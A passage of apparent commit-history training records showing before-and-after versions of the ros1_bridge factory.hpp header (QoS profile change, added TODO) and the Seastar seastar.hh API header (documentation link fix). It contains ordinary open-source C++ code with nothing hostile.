ros1_pub.publish(ros1_msg);\n  }\n\n\/\/ since convert functions call each other for sub messages they must be public\npublic:\n\n  \/\/ defined outside of the class\n  static\n  void\n  convert_1_to_2(\n    const ROS1_T & ros1_msg,\n    ROS2_T & ros2_msg);\n  static\n  void\n  convert_2_to_1(\n    const ROS2_T & ros2_msg,\n    ROS1_T & ros1_msg);\n};\n\n}  \/\/ namespace ros1_bridge\n\n#endif \/\/ __ros1_bridge__factory__hpp__\n<commit_msg>use sensor profile since messages might be large which is not implemented in all rmw impl for reliable qos<commit_after>\/\/ Copyright 2015 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef __ros1_bridge__factory__hpp__\n#define __ros1_bridge__factory__hpp__\n\n#include <functional>\n\n\/\/ include ROS 1 message event\n#include <ros\/message.h>\n\n#include <ros1_bridge\/factory_interface.hpp>\n\nnamespace ros1_bridge\n{\n\ntemplate<typename ROS1_T, typename ROS2_T>\nclass Factory : public FactoryInterface\n{\npublic:\n  ros::Publisher\n  create_ros1_publisher(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    return node.advertise<ROS1_T>(topic_name, queue_size);\n  }\n\n  rclcpp::publisher::Publisher::SharedPtr\n  create_ros2_publisher(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_sensor_data;\n    custom_qos_profile.depth = queue_size;\n    return node->create_publisher<ROS2_T>(topic_name, custom_qos_profile);\n  }\n\n  ros::Subscriber\n  create_ros1_subscriber(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub)\n  {\n    \/\/ workaround for https:\/\/github.com\/ros\/roscpp_core\/issues\/22 to get the connection header\n    ros::SubscribeOptions ops;\n    ops.topic = topic_name;\n    ops.queue_size = queue_size;\n    ops.md5sum = ros::message_traits::md5sum<ROS1_T>();\n    ops.datatype = ros::message_traits::datatype<ROS1_T>();\n    ops.helper = ros::SubscriptionCallbackHelperPtr(\n      new ros::SubscriptionCallbackHelperT<const ros::MessageEvent<ROS1_T const>&>(\n        boost::bind(&Factory<ROS1_T, ROS2_T>::ros1_callback, _1, ros2_pub)\n      )\n    );\n    return node.subscribe(ops);\n  }\n\n  rclcpp::subscription::SubscriptionBase::SharedPtr\n  create_ros2_subscriber(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size,\n    ros::Publisher ros1_pub)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_sensor_data;\n    custom_qos_profile.depth = queue_size;\n    \/\/ TODO(wjwwood): use a lambda until create_subscription supports std\/boost::bind.\n    auto callback = [this, ros1_pub](const typename ROS2_T::SharedPtr msg) {\n      return this->ros2_callback(msg, ros1_pub);\n    };\n    return node->create_subscription<ROS2_T>(\n      topic_name, custom_qos_profile, callback, nullptr, true);\n  }\n\nprotected:\n\n  static\n  void ros1_callback(\n    const ros::MessageEvent<ROS1_T const> & ros1_msg_event,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub\n    )\n  {\n    const boost::shared_ptr<ros::M_string> & connection_header = ros1_msg_event.getConnectionHeaderPtr();\n    if (!connection_header) {\n      printf(\"  dropping message without connection header\\n\");\n      return;\n    }\n\n    std::string key = \"callerid\";\n    if (connection_header->find(key) != connection_header->end()) {\n      if (connection_header->at(key) == \"\/ros_bridge\") {\n        return;\n      }\n    }\n\n    const boost::shared_ptr<ROS1_T const> & ros1_msg = ros1_msg_event.getConstMessage();\n\n    auto ros2_msg = std::make_shared<ROS2_T>();\n    convert_1_to_2(*ros1_msg, *ros2_msg);\n    printf(\"  Passing message from ROS 1 to ROS 2\\n\");\n    ros2_pub->publish(ros2_msg);\n  }\n\n  static\n  void ros2_callback(\n    typename ROS2_T::SharedPtr ros2_msg,\n    ros::Publisher ros1_pub\n    )\n  {\n    ROS1_T ros1_msg;\n    convert_2_to_1(*ros2_msg, ros1_msg);\n    printf(\"  Passing message from ROS 2 to ROS 1\\n\");\n    ros1_pub.publish(ros1_msg);\n  }\n\n\/\/ since convert functions call each other for sub messages they must be public\npublic:\n\n  \/\/ defined outside of the class\n  static\n  void\n  convert_1_to_2(\n    const ROS1_T & ros1_msg,\n    ROS2_T & ros2_msg);\n  static\n  void\n  convert_2_to_1(\n    const ROS2_T & ros2_msg,\n    ROS1_T & ros1_msg);\n};\n\n}  \/\/ namespace ros1_bridge\n\n#endif \/\/ __ros1_bridge__factory__hpp__\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef __ros1_bridge__factory__hpp__\n#define __ros1_bridge__factory__hpp__\n\n#include <functional>\n\n\/\/ include ROS 1 message event\n#include <ros\/message.h>\n\n#include <ros1_bridge\/factory_interface.hpp>\n\nnamespace ros1_bridge\n{\n\ntemplate<typename ROS1_T, typename ROS2_T>\nclass Factory : public FactoryInterface\n{\npublic:\n  ros::Publisher\n  create_ros1_publisher(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    return node.advertise<ROS1_T>(topic_name, queue_size);\n  }\n\n  rclcpp::publisher::Publisher::SharedPtr\n  create_ros2_publisher(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_default;\n    custom_qos_profile.depth = queue_size;\n    return node->create_publisher<ROS2_T>(topic_name, custom_qos_profile);\n  }\n\n  ros::Subscriber\n  create_ros1_subscriber(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub)\n  {\n    \/\/ workaround for https:\/\/github.com\/ros\/roscpp_core\/issues\/22 to get the connection header\n    ros::SubscribeOptions ops;\n    ops.topic = topic_name;\n    ops.queue_size = queue_size;\n    ops.md5sum = ros::message_traits::md5sum<ROS1_T>();\n    ops.datatype = ros::message_traits::datatype<ROS1_T>();\n    ops.helper = ros::SubscriptionCallbackHelperPtr(\n      new ros::SubscriptionCallbackHelperT<const ros::MessageEvent<ROS1_T const>&>(\n        boost::bind(&Factory<ROS1_T, ROS2_T>::ros1_callback, _1, ros2_pub)\n      )\n    );\n    return node.subscribe(ops);\n  }\n\n  rclcpp::subscription::SubscriptionBase::SharedPtr\n  create_ros2_subscriber(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size,\n    ros::Publisher ros1_pub)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_default;\n    custom_qos_profile.depth = queue_size;\n    auto callback = [this, ros1_pub](const typename ROS2_T::SharedPtr msg) {\n      return this->ros2_callback(msg, ros1_pub);\n    };\n    return node->create_subscription<ROS2_T>(\n      topic_name, custom_qos_profile, callback, nullptr, true);\n  }\n\nprotected:\n\n  static\n  void ros1_callback(\n    const ros::MessageEvent<ROS1_T const> & ros1_msg_event,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub\n    )\n  {\n    const boost::shared_ptr<ros::M_string> & connection_header = ros1_msg_event.getConnectionHeaderPtr();\n    if (!connection_header) {\n      printf(\"  dropping message without connection header\\n\");\n      return;\n    }\n\n    std::string key = \"callerid\";\n    if (connection_header->find(key) != connection_header->end()) {\n      if (connection_header->at(key) == \"\/ros_bridge\") {\n        return;\n      }\n    }\n\n    const boost::shared_ptr<ROS1_T const> & ros1_msg = ros1_msg_event.getConstMessage();\n\n    auto ros2_msg = std::make_shared<ROS2_T>();\n    convert_1_to_2(*ros1_msg, *ros2_msg);\n    printf(\"  Passing message from ROS 1 to ROS 2\\n\");\n    ros2_pub->publish(ros2_msg);\n  }\n\n  static\n  void ros2_callback(\n    typename ROS2_T::SharedPtr ros2_msg,\n    ros::Publisher ros1_pub\n    )\n  {\n    ROS1_T ros1_msg;\n    convert_2_to_1(*ros2_msg, ros1_msg);\n    printf(\"  Passing message from ROS 2 to ROS 1\\n\");\n    ros1_pub.publish(ros1_msg);\n  }\n\n\/\/ since convert functions call each other for sub messages they must be public\npublic:\n\n  \/\/ defined outside of the class\n  static\n  void\n  convert_1_to_2(\n    const ROS1_T & ros1_msg,\n    ROS2_T & ros2_msg);\n  static\n  void\n  convert_2_to_1(\n    const ROS2_T & ros2_msg,\n    ROS1_T & ros1_msg);\n};\n\n}  \/\/ namespace ros1_bridge\n\n#endif \/\/ __ros1_bridge__factory__hpp__\n<commit_msg>add todo<commit_after>\/\/ Copyright 2015 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef __ros1_bridge__factory__hpp__\n#define __ros1_bridge__factory__hpp__\n\n#include <functional>\n\n\/\/ include ROS 1 message event\n#include <ros\/message.h>\n\n#include <ros1_bridge\/factory_interface.hpp>\n\nnamespace ros1_bridge\n{\n\ntemplate<typename ROS1_T, typename ROS2_T>\nclass Factory : public FactoryInterface\n{\npublic:\n  ros::Publisher\n  create_ros1_publisher(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    return node.advertise<ROS1_T>(topic_name, queue_size);\n  }\n\n  rclcpp::publisher::Publisher::SharedPtr\n  create_ros2_publisher(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_default;\n    custom_qos_profile.depth = queue_size;\n    return node->create_publisher<ROS2_T>(topic_name, custom_qos_profile);\n  }\n\n  ros::Subscriber\n  create_ros1_subscriber(\n    ros::NodeHandle node,\n    const std::string & topic_name,\n    size_t queue_size,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub)\n  {\n    \/\/ workaround for https:\/\/github.com\/ros\/roscpp_core\/issues\/22 to get the connection header\n    ros::SubscribeOptions ops;\n    ops.topic = topic_name;\n    ops.queue_size = queue_size;\n    ops.md5sum = ros::message_traits::md5sum<ROS1_T>();\n    ops.datatype = ros::message_traits::datatype<ROS1_T>();\n    ops.helper = ros::SubscriptionCallbackHelperPtr(\n      new ros::SubscriptionCallbackHelperT<const ros::MessageEvent<ROS1_T const>&>(\n        boost::bind(&Factory<ROS1_T, ROS2_T>::ros1_callback, _1, ros2_pub)\n      )\n    );\n    return node.subscribe(ops);\n  }\n\n  rclcpp::subscription::SubscriptionBase::SharedPtr\n  create_ros2_subscriber(\n    rclcpp::node::Node::SharedPtr node,\n    const std::string & topic_name,\n    size_t queue_size,\n    ros::Publisher ros1_pub)\n  {\n    rmw_qos_profile_t custom_qos_profile = rmw_qos_profile_default;\n    custom_qos_profile.depth = queue_size;\n    \/\/ TODO(wjwwood): use a lambda until create_subscription supports std\/boost::bind.\n    auto callback = [this, ros1_pub](const typename ROS2_T::SharedPtr msg) {\n      return this->ros2_callback(msg, ros1_pub);\n    };\n    return node->create_subscription<ROS2_T>(\n      topic_name, custom_qos_profile, callback, nullptr, true);\n  }\n\nprotected:\n\n  static\n  void ros1_callback(\n    const ros::MessageEvent<ROS1_T const> & ros1_msg_event,\n    rclcpp::publisher::Publisher::SharedPtr ros2_pub\n    )\n  {\n    const boost::shared_ptr<ros::M_string> & connection_header = ros1_msg_event.getConnectionHeaderPtr();\n    if (!connection_header) {\n      printf(\"  dropping message without connection header\\n\");\n      return;\n    }\n\n    std::string key = \"callerid\";\n    if (connection_header->find(key) != connection_header->end()) {\n      if (connection_header->at(key) == \"\/ros_bridge\") {\n        return;\n      }\n    }\n\n    const boost::shared_ptr<ROS1_T const> & ros1_msg = ros1_msg_event.getConstMessage();\n\n    auto ros2_msg = std::make_shared<ROS2_T>();\n    convert_1_to_2(*ros1_msg, *ros2_msg);\n    printf(\"  Passing message from ROS 1 to ROS 2\\n\");\n    ros2_pub->publish(ros2_msg);\n  }\n\n  static\n  void ros2_callback(\n    typename ROS2_T::SharedPtr ros2_msg,\n    ros::Publisher ros1_pub\n    )\n  {\n    ROS1_T ros1_msg;\n    convert_2_to_1(*ros2_msg, ros1_msg);\n    printf(\"  Passing message from ROS 2 to ROS 1\\n\");\n    ros1_pub.publish(ros1_msg);\n  }\n\n\/\/ since convert functions call each other for sub messages they must be public\npublic:\n\n  \/\/ defined outside of the class\n  static\n  void\n  convert_1_to_2(\n    const ROS1_T & ros1_msg,\n    ROS2_T & ros2_msg);\n  static\n  void\n  convert_2_to_1(\n    const ROS2_T & ros2_msg,\n    ROS1_T & ros1_msg);\n};\n\n}  \/\/ namespace ros1_bridge\n\n#endif \/\/ __ros1_bridge__factory__hpp__\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#pragma once\n\n\/\/\/ \\mainpage\n\/\/\/\n\/\/\/ Seastar is a high performance C++ application framework for high\n\/\/\/ concurrency server applications.\n\/\/\/\n\/\/\/ A good place to start is the [Tutorial](doc\/tutorial.md).\n\/\/\/\n\/\/\/ Please see:\n\/\/\/   - \\ref future-module Documentation on futures and promises, which are\n\/\/\/          the seastar building blocks.\n\/\/\/   - \\ref future-util Utililty functions for working with futures\n\/\/\/   - \\ref memory-module Memory management\n\/\/\/   - \\ref networking-module TCP\/IP networking\n\/\/\/   - \\ref fileio-module File Input\/Output\n\/\/\/   - \\ref smp-module Multicore support\n\/\/\/   - \\ref fiber-module Utilities for managing loosely coupled chains of\n\/\/\/          continuations, also known as fibers\n\/\/\/   - \\ref thread-module Support for traditional threaded execution\n\/\/\/   - \\ref rpc Build high-level communication protocols\n\/\/\/\n\/\/\/ View the [Seastar compatibility statement](.\/md_compatibility.html) for\n\/\/\/ information about library evolution.\n\n#include <seastar\/core\/sstring.hh>\n#include <seastar\/core\/future.hh>\n#include <seastar\/core\/file-types.hh>\n#include <seastar\/util\/bool_class.hh>\n#include <seastar\/util\/std-compat.hh>\n#include \".\/internal\/api-level.hh\"\n\nnamespace seastar {\n\n\/\/ iostream.hh\ntemplate <class CharType> class input_stream;\ntemplate <class CharType> class output_stream;\n\nclass server_socket;\nclass socket;\nclass connected_socket;\nclass socket_address;\nstruct listen_options;\nenum class transport;\n\n\/\/ file.hh\nclass file;\nstruct file_open_options;\nstruct stat_data;\n\nnamespace net {\n\nclass udp_channel;\n\n}\n\n\/\/ Networking API\n\n\/\/\/ \\defgroup networking-module Networking\n\/\/\/\n\/\/\/ Seastar provides a simple networking API, backed by two\n\/\/\/ TCP\/IP stacks: the POSIX stack, utilizing the kernel's\n\/\/\/ BSD socket APIs, and the native stack, implement fully\n\/\/\/ within seastar and able to drive network cards directly.\n\/\/\/ The native stack supports zero-copy on both transmit\n\/\/\/ and receive, and is implemented using seastar's high\n\/\/\/ performance, lockless sharded design.  The network stack\n\/\/\/ can be selected with the \\c \\--network-stack command-line\n\/\/\/ parameter.\n\n\/\/\/ \\addtogroup networking-module\n\/\/\/ @{\n\n\/\/\/ Listen for connections on a given port\n\/\/\/\n\/\/\/ Starts listening on a given address for incoming connections.\n\/\/\/\n\/\/\/ \\param sa socket address to listen on\n\/\/\/\n\/\/\/ \\return \\ref server_socket object ready to accept connections.\n\/\/\/\n\/\/\/ \\see listen(socket_address sa, listen_options opts)\nserver_socket listen(socket_address sa);\n\n\/\/\/ Listen for connections on a given port\n\/\/\/\n\/\/\/ Starts listening on a given address for incoming connections.\n\/\/\/\n\/\/\/ \\param sa socket address to listen on\n\/\/\/ \\param opts options controlling the listen operation\n\/\/\/\n\/\/\/ \\return \\ref server_socket object ready to accept connections.\n\/\/\/\n\/\/\/ \\see listen(socket_address sa)\nserver_socket listen(socket_address sa, listen_options opts);\n\n\/\/\/ Establishes a connection to a given address\n\/\/\/\n\/\/\/ Attempts to connect to the given address.\n\/\/\/\n\/\/\/ \\param sa socket address to connect to\n\/\/\/\n\/\/\/ \\return a \\ref connected_socket object, or an exception\nfuture<connected_socket> connect(socket_address sa);\n\n\/\/\/ Establishes a connection to a given address\n\/\/\/\n\/\/\/ Attempts to connect to the given address with a defined local endpoint\n\/\/\/\n\/\/\/ \\param sa socket address to connect to\n\/\/\/ \\param local socket address for local endpoint\n\/\/\/ \\param proto transport protocol (TCP or SCTP)\n\/\/\/\n\/\/\/ \\return a \\ref connected_socket object, or an exception\nfuture<connected_socket> connect(socket_address sa, socket_address local, transport proto);\n\n\n\/\/\/ Creates a socket object suitable for establishing stream-oriented connections\n\/\/\/\n\/\/\/ \\return a \\ref net::socket object that can be used for establishing connections\nsocket make_socket();\n\n\/\/\/ Creates a udp_channel object suitable for sending UDP packets\n\/\/\/\n\/\/\/ The channel is not bound to a local address, and thus can only be used\n\/\/\/ for sending.\n\/\/\/\n\/\/\/ \\return a \\ref net::udp_channel object that can be used for UDP transfers.\nnet::udp_channel make_udp_channel();\n\n\n\/\/\/ Creates a udp_channel object suitable for sending and receiving UDP packets\n\/\/\/\n\/\/\/ \\param local local address to bind to\n\/\/\/\n\/\/\/ \\return a \\ref net::udp_channel object that can be used for UDP transfers.\nnet::udp_channel make_udp_channel(const socket_address& local);\n\n\/\/\/ @}\n\n\/\/\/ \\defgroup fileio-module File Input\/Output\n\/\/\/\n\/\/\/ Seastar provides a file API to deal with persistent storage.\n\/\/\/ Unlike most file APIs, seastar offers unbuffered file I\/O\n\/\/\/ (similar to, and based on, \\c O_DIRECT).  Unbuffered I\/O means\n\/\/\/ that the application is required to do its own caching, but\n\/\/\/ delivers better performance if this caching is done correctly.\n\/\/\/\n\/\/\/ For random I\/O or sequential unbuffered I\/O, the \\ref file\n\/\/\/ class provides a set of methods for reading, writing, discarding,\n\/\/\/ or otherwise manipulating a file.  For buffered sequential I\/O,\n\/\/\/ see \\ref make_file_input_stream() and \\ref make_file_output_stream().\n\n\/\/\/ \\addtogroup fileio-module\n\/\/\/ @{\n\n\/\/\/ Opens or creates a file.  The \"dma\" in the name refers to the fact\n\/\/\/ that data transfers are unbuffered and uncached.\n\/\/\/\n\/\/\/ \\param name  the name of the file to open or create\n\/\/\/ \\param flags various flags controlling the open process\n\/\/\/ \\return a \\ref file object, as a future\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The file name is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\n\/\/\/\n\/\/\/ \\relates file\nfuture<file> open_file_dma(sstring name, open_flags flags) noexcept;\n\n\/\/\/ Opens or creates a file.  The \"dma\" in the name refers to the fact\n\/\/\/ that data transfers are unbuffered and uncached.\n\/\/\/\n\/\/\/ \\param name  the name of the file to open or create\n\/\/\/ \\param flags various flags controlling the open process\n\/\/\/ \\param options options for opening the file\n\/\/\/ \\return a \\ref file object, as a future\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The file name is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\n\/\/\/\n\/\/\/ \\relates file\nfuture<file> open_file_dma(sstring name, open_flags flags, file_open_options options) noexcept;\n\n\/\/\/ Checks if a given directory supports direct io\n\/\/\/\n\/\/\/ Seastar bypasses the Operating System caches and issues direct io to the\n\/\/\/ underlying block devices. Projects using seastar should check if the directory\n\/\/\/ lies in a filesystem that support such operations. This function can be used\n\/\/\/ to do that.\n\/\/\/\n\/\/\/ It will return if direct io can be used, or throw an std::system_error\n\/\/\/ exception, with the EINVAL error code.\n\/\/\/\n\/\/\/ A std::system_error with the respective error code is also thrown if \\ref path is\n\/\/\/ not a directory.\n\/\/\/\n\/\/\/ \\param path the directory we need to verify.\nfuture<> check_direct_io_support(sstring path);\n\n\/\/\/ Opens a directory.\n\/\/\/\n\/\/\/ \\param name name of the directory to open\n\/\/\/\n\/\/\/ \\return a \\ref file object representing a directory.  The only\n\/\/\/    legal operations are \\ref file::list_directory(),\n\/\/\/    \\ref file::fsync(), and \\ref file::close().\n\/\/\/\n\/\/\/ \\relates file\nfuture<file> open_directory(sstring name) noexcept;\n\n\/\/\/ Creates a new directory.\n\/\/\/\n\/\/\/ \\param name name of the directory to create\n\/\/\/ \\param permissions optional file permissions of the directory to create.\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The directory is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\nfuture<> make_directory(sstring name, file_permissions permissions = file_permissions::default_dir_permissions) noexcept;\n\n\/\/\/ Ensures a directory exists\n\/\/\/\n\/\/\/ Checks whether a directory exists, and if not, creates it.  Only\n\/\/\/ the last component of the directory name is created.\n\/\/\/\n\/\/\/ \\param name name of the directory to potentially create\n\/\/\/ \\param permissions optional file permissions of the directory to create.\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The directory is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\n\/\/\/ If the directory exists, the provided permissions are not applied.\nfuture<> touch_directory(sstring name, file_permissions permissions = file_permissions::default_dir_permissions) noexcept;\n\n\/\/\/ Recursively ensures a directory exists\n\/\/\/\n\/\/\/ Checks whether each component of a directory exists, and if not, creates it.\n\/\/\/\n\/\/\/ \\param name name of the directory to potentially create\n\/\/\/ \\param permissions optional file permissions of the directory to create.\n\/\/\/\n\/\/\/ \\note\n\/\/\/ This function fsyncs each component created, and is therefore guaranteed to be stable on disk.\n\/\/\/ The provided permissions are applied only on the last component in the path, if it needs to be created,\n\/\/\/ if intermediate directories do not exist, they are created with the default_dir_permissions.\n\/\/\/ If any directory exists, the provided permissions are not applied.\nfuture<> recursive_touch_directory(sstring name, file_permissions permissions = file_permissions::default_dir_permissions) noexcept;\n\n\/\/\/ Synchronizes a directory to disk\n\/\/\/\n\/\/\/ Makes sure the modifications in a directory are synchronized in disk.\n\/\/\/ This is useful, for instance, after creating or removing a file inside the\n\/\/\/ directory.\n\/\/\/\n\/\/\/ \\param name name of the directory to potentially create\nfuture<> sync_directory(sstring name) noexcept;\n\n\n\/\/\/ Removes (unlinks) a file or an empty directory\n\/\/\/\n\/\/\/ \\param name name of the file or the directory to remove\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The removal is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\nfuture<> remove_file(sstring name) noexcept;\n\n\/\/\/ Renames (moves) a file.\n\/\/\/\n\/\/\/ \\param old_name existing file name\n\/\/\/ \\param new_name new file name\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The rename is not guaranteed to be stable on disk, unless the\n\/\/\/ both containing directories are sync'ed.\nfuture<> rename_file(sstring old_name, sstring new_name) noexcept;\n\nstruct follow_symlink_tag { };\nusing follow_symlink = bool_class<follow_symlink_tag>;\n\n\/\/\/ Return stat information about a file.\n\/\/\/\n\/\/\/ \\param name name of the file to return its stat information\n\/\/\/ \\param follow_symlink follow symbolic links.\n\/\/\/\n\/\/\/ \\return stat_data of the file identified by name.\n\/\/\/ If name identifies a symbolic link then stat_data is returned either for the target of the link,\n\/\/\/ with follow_symlink::yes, or for the link itself, with follow_symlink::no.\nfuture<stat_data> file_stat(sstring name, follow_symlink fs = follow_symlink::yes) noexcept;\n\n\/\/\/ Return the size of a file.\n\/\/\/\n\/\/\/ \\param name name of the file to return the size\n\/\/\/\n\/\/\/ Note that file_size of a symlink is NOT the size of the symlink -\n\/\/\/ which is the length of the pathname it contains -\n\/\/\/ but rather the size of the file to which it points.\nfuture<uint64_t> file_size(sstring name) noexcept;\n\n\/\/\/ Check file access.\n\/\/\/\n\/\/\/ \\param name name of the file to check\n\/\/\/ \\param flags bit pattern containing type of access to check (read\/write\/execute or exists).\n\/\/\/\n\/\/\/ If only access_flags::exists is queried, returns true if the file exists, or false otherwise.\n\/\/\/ Throws a std::filesystem::filesystem_error exception if any error other than ENOENT is encountered.\n\/\/\/\n\/\/\/ If any of the access_flags (read\/write\/execute) is set, returns true if the file exists and is\n\/\/\/ accessible with the requested flags, or false if the file exists and is not accessible\n\/\/\/ as queried.\n\/\/\/ Throws a std::filesystem::filesystem_error exception if any error other than EACCES is encountered.\n\/\/\/ Note that if any path component leading to the file is not searchable, the file is considered inaccessible\n\/\/\/ with the requested mode and false will be returned.\nfuture<bool> file_accessible(sstring name, access_flags flags) noexcept;\n\n\/\/\/ check if a file exists.\n\/\/\/\n\/\/\/ \\param name name of the file to check\nfuture<bool> file_exists(sstring name) noexcept;\n\n\/\/\/ Determine the type of a file (regular file, directory, etc.)\n\/\/\/\n\/\/\/ \\param name name of the file for which type information is requested\n\/\/\/ \\param name follow_symlink whether a trailing symbolic link should be followed or not\n\/\/\/\n\/\/\/ \\return a engaged optional with the file type if lookup was successful; a disengaged optional\n\/\/\/      if the file (or one of its parent directories) does not exist; an exceptional future on\n\/\/\/      other errors.\nfuture<std::optional<directory_entry_type>> file_type(sstring name, follow_symlink = follow_symlink::yes) noexcept;\n\n\n\/\/\/ Creates a hard link for a file\n\/\/\/\n\/\/\/ \\param oldpath existing file name\n\/\/\/ \\param newpath name of link\n\/\/\/\nfuture<> link_file(sstring oldpath, sstring newpath) noexcept;\n\n\/\/\/ Changes the permissions mode of a file or directory\n\/\/\/\n\/\/\/ \\param name name of the file ot directory to change\n\/\/\/ \\param permissions permissions to set\n\/\/\/\nfuture<> chmod(sstring name, file_permissions permissions) noexcept;\n\n\/\/\/ Return information about the filesystem where a file is located.\n\/\/\/\n\/\/\/ \\param name name of the file to inspect\nfuture<fs_type> file_system_at(sstring name) noexcept;\n\n\/\/\/ Return space available to unprivileged users in filesystem where a file is located, in bytes.\n\/\/\/\n\/\/\/ \\param name name of the file to inspect\nfuture<uint64_t> fs_avail(sstring name) noexcept;\n\n\/\/\/ Return free space in filesystem where a file is located, in bytes.\n\/\/\/\n\/\/\/ \\param name name of the file to inspect\nfuture<uint64_t> fs_free(sstring name) noexcept;\n\/\/\/ @}\n\n}\n<commit_msg>doc: seastar: fix refrence to doc\/tutorial.md<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#pragma once\n\n\/\/\/ \\mainpage\n\/\/\/\n\/\/\/ Seastar is a high performance C++ application framework for high\n\/\/\/ concurrency server applications.\n\/\/\/\n\/\/\/ A good place to start is the [Tutorial](tutorial.html).\n\/\/\/\n\/\/\/ Please see:\n\/\/\/   - \\ref future-module Documentation on futures and promises, which are\n\/\/\/          the seastar building blocks.\n\/\/\/   - \\ref future-util Utililty functions for working with futures\n\/\/\/   - \\ref memory-module Memory management\n\/\/\/   - \\ref networking-module TCP\/IP networking\n\/\/\/   - \\ref fileio-module File Input\/Output\n\/\/\/   - \\ref smp-module Multicore support\n\/\/\/   - \\ref fiber-module Utilities for managing loosely coupled chains of\n\/\/\/          continuations, also known as fibers\n\/\/\/   - \\ref thread-module Support for traditional threaded execution\n\/\/\/   - \\ref rpc Build high-level communication protocols\n\/\/\/\n\/\/\/ View the [Seastar compatibility statement](.\/md_compatibility.html) for\n\/\/\/ information about library evolution.\n\n#include <seastar\/core\/sstring.hh>\n#include <seastar\/core\/future.hh>\n#include <seastar\/core\/file-types.hh>\n#include <seastar\/util\/bool_class.hh>\n#include <seastar\/util\/std-compat.hh>\n#include \".\/internal\/api-level.hh\"\n\nnamespace seastar {\n\n\/\/ iostream.hh\ntemplate <class CharType> class input_stream;\ntemplate <class CharType> class 